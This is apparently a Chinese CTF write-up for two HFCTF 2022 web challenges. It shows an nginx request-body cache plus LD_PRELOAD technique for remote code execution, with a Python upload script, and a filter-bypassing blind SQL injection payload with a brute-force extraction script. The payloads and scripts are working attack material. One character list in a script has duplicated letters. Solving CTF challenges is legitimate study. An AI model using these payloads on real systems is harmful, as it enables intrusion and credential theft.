HFCTF 两道有趣的web题
其实就是我太菜了
ezphp
题目
Dockerfile
FROM php:7.4.28-fpm-buster
LABEL Maintainer="yxxx"
ENV REFRESHED_AT 2022-03-14
ENV LANG C.UTF-8
RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN apt upgrade -y && \
apt update -y && \
apt install nginx -y
ENV DEBIAN_FRONTEND noninteractive
COPY index.php /var/www/html
COPY default.conf /etc/nginx/sites-available/default
COPY flag /flag
EXPOSE 80
CMD php-fpm -D && nginx -g 'daemon off;'
index.php
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
分析
给了 docker,可以自行调试
index.php可以设置一个环境变量,最常用的办法其实就是LD_PRELOAD
,但是题目没直接给上传点,用php post传的文件名不可控,从/proc/x/fd/x爆破也读不到,所以感觉不太行。
然后根据这篇文章照着稍微审了一下dash echo源码,也没发现什么办法
想到 hxpctf 有一种思路,nginx处理大的请求包时,会将请求存到临时文件的在本地题目环境中确实发现 /var/lib/nginx/body/
是有缓存的,文件名是可以按编号爆出来的
经过测试,在.so文件后加上\x00,并不会对执行造成影响
所以基本思路是上传一个大的请求包(.so),然后LD_PRELOAD该请求的缓存文件即可造成RCE
做题
.so制作过程省略,这里直接写 cat /flag
就行
用下面的代码即可发包,这里请求设置成500KB,原来的so文件80kb,没缓存,再大了就419
import requests
import io
session = requests.session()
proxies = {
"http": "http://127.0.0.1:8084",
"https": "http://127.0.0.1:8084"
}
f = open('1.so', 'rb')
r = session.post('http://192.168.195.185:30024/index.php?env=LD_PRELOAD%3d/var/lib/nginx/body/0000000001', data=f.read() + b'\x00' * 400 * 1024,proxies=proxies)
print(r.text)
然后在docker开监控,简单记录一下命令
# 起docker的时候需要给sys_ptrace
docker run -d --cap-add LINUX_IMMUTABLE --cap-add sys_ptrace -p 50003:80 hfctf_ezphp
# 精简镜像中缺vim top 装上方便调试,剩下一个监控进程操作,一个监控文件
apt install strace inotify-tools vim htop
# 监控根目录文件操作
inotifywait -mrq -e 'create,delete,close_write,attrib,moved_to' --timefmt '%Y-%m-%d %H:%M' --format '%T %w%f %e' /
然后发现这个缓存文件确实是在php脚本执行结束之后才删除的
本地按编号直接读是可以出flag的,远程打不通,估计远程id不是从01开始
因为会被删除,所以也可以直接爆nginx 工作进程的 /proc/x/fd/xx
进程号一般是 8-20 fd 0-30就可以出了
babysql
注入 很恶心
function safe(str: string): string {
const r = str
.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();
return r;
}
过滤了很多 没法用函数 空格不好绕
大概是要盲注 然后用 case when的错误注入
调了很久用科学计数法绕了一半 用单反引号绕了一半
大致payload如下
username=1'||case+1E0when`password`regexp'^m52fpldxyylb.eizar.8gxh.$'then+1E0else+!0E0+~0+!0E0end||'0&password=6878
脚本能注出账号和密码
用户
qay8tefyzc67aeoo
密码
m52fpldxyylb.eizar.8gxh.
点代表某个特殊字符 不区分大小写
因为regexp和like默认不区分大小写 所以找个能区分的办法
在文档里看到了
https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html
mysql> SELECT 'abc' LIKE 'ABC';
-> 1
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
-> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
-> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';
-> 0
加了引号套了一下就能得到带大小写的了
m52FPlDxYyLB.eIzAr!8gxh.
剩下两个点直接爆破一下就行了
import requests
import time
session = requests.session()
burp0_url = "http://xxxx/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1"}
alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C',
'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '[', ']', '{', '}', '_', '/', '&', "%", '@','.','#','|','-', ]
password = '^'
while True:
for i in alphabet:
burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxies)
if r.status_code == 401:
print(i)
password += i
break
time.sleep(0.3)
print(password.replace('^', ''))
最后登录直接or 1=1就行了 特殊符号爆破一下